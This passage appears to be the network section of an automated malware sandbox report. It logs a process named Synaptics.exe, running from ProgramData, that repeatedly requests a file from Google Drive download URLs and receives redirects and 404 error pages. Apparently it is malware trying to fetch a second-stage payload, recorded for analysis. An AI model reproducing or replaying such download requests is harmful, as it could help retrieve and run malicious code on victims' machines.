ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:01 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:01 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 6c 53 72 4a 48 76 69 53 78 72 47 48 47 2d 42 77 53 58 6c 56 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="MlSrJHviSxrGHG-BwSXlVg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:01 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	56039	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:02 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
2025-01-02 19:11:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-2zyTDEofq5bawg9UECadDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	56040	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:02 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:02 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7BG7ZGW7UNFpmOkPWgGfoh26LVFGp48tAkQD8Xmgg3zmIFrjRa9sVcmpKCZSXSscTR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:02 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6r9c3taVYDU1LXJvJ8kaLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:02 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:02 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 51 61 68 77 4a 32 6a 61 47 57 38 76 42 7a 35 47 5f 73 37 56 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="kQahwJ2jaGW8vBz5G_s7VA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:02 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	56041	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:02 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
2025-01-02 19:11:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-A6Hcdva6QpEy8xwnBvT19g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	56042	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:02 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:03 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7UgG5b17_1HziCIJqpw6CBcZJ1veIxfgDiPy587vaH5fm0YGVshthfxBh2FguCETuLUyw_7TY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Wkt8lf31PK6_InTvgs2JFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:03 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:03 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 63 64 4d 4c 55 75 6b 4f 57 59 70 48 76 54 49 5a 7a 33 36 62 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="3cdMLUukOWYpHvTIZz36bQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:03 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	56043	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:03 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	56044	142.250.185.193	443

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:03 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	56045	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:03 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	56046	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:03 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:04 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC44sByXry6BdpiSOhxyrJo6rrrb8Y66Vp2xH5sTTC4O6rAc0rY5xILBSQrw-JsHLhSd Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:03 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-eQ8t1hxCH5PPjI1luzZFVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:04 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:04 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 52 58 41 37 54 2d 69 72 5f 4f 79 41 35 4a 7a 53 67 70 47 65 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="YRXA7T-ir_OyA5JzSgpGew">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:04 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	56047	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:04 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
2025-01-02 19:11:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-sbETaFKLHq4euEoxn2Y2Fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	56048	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:04 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=GOAV_B6GZxdC65nJzU6AiJzfWgIBjTcahURKSxE721AjmYBNY2kQss1Khse_feMj1yyAYF-gbHgQbt0CWbbJLVRWxtwNNQDSjDzjIzv2tXkYtRc2P205IWEIeuzhSeL1CqgOKEN44M4YC7mzsmG4kD1kMvi1B6AbCAKhUwW_o2CUhbX-Gun-aaep
